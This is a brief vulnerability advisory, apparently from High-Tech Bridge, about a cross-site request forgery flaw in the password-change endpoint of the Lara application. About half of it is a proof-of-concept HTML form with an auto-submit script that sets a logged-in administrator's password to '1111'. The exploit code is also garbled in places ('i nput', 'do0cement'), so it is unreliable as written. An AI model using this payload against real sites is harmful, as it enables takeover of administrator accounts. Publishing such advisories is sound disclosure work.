Cross-site Request Forgery (CSRF) in Lara

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Lara which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Lara
The vulnerability exists due to insufficient validation of the request origin in _ui/changepassword. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s password.
Exploitation example:
<form method="POST" name="m" action="http://host//_ui/changepassword?method=UpdatePassword&type=get">
<i nput type="hidden" name="MediaId" value="4f90f994-3fd0-4a02-818d-05ce325d0fb1"> <!-- this is statick value -->
<input type="hidden" name="Password" value="1111">
</form>
<script>
do0cement.m.submit();
</script>